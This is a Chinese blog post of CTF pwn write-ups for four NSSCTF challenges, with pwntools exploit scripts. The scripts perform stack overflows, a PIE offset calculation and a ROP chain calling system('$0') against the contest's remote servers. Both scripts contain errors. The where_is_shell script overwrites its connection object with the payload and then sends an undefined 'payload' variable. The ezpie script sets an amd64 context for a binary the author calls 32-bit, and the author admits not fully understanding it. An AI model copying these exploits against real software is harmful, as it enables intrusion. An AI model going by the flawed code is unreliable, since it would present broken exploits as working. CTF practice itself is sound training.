NSSCTF(PWN)3

[HGAME 2023 week1]test_nc

这是一道简单的nc签到题,直接终端nc就行

[NISACTF 2022]ezpie

使用checksec,发现这题是32位且开了PIE

进入main函数,我们要打印一个Input,发现了vuln双击进入

这里涉及了严重的栈溢出

因为这道题涉及PIE我们要找到main和shell的偏移量

经过计算shell - main = 9F

这题还是有点不理解,参考了很多师傅的exp

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn','29399')
io.recvuntil(b'gift!')
main_addr = 0x770
main = int(io.recv()[1:11],16) 
shell = main + 0x9F 
print(shell)
#io.recvuntil(b'Input:')
padding = b'a'*(0x28+0x4)
payload = padding + p32(main) + p32(shell)
io.sendline(payload)
io.interactive()

运行输入cat flag得到flag

[HNCTF 2022 Week1]easyoverflow

nc 输入大量的a就得到flag了

[GFCTF 2021]where_is_shell

查看main函数我们发现这里涉及栈溢出

查看后发现没有找到/bin/sh字符串 只有报错代码

$0 可以当作shell执行 用ord 和hex可以找到对应

$0对应的为 24 30 所以从41开始所以地址从0x400540

变成0x400541

将system(binsh)换成$0的地址

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node4.anna.nssctf.cn','28761')
elf = ELF('/home/xp/tm/bin/8')
padding = b'a'*(0x10+0x8)
system = elf.plt['system']
ret = 0x400416
rdi = 0x4005e3
shell = 0x400541
io = padding + p64(ret) + p64(rdi) + p64(shell) + p64(system) #涉及版本过高要加一个ret
io.sendline(payload)
io.interactive()

得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值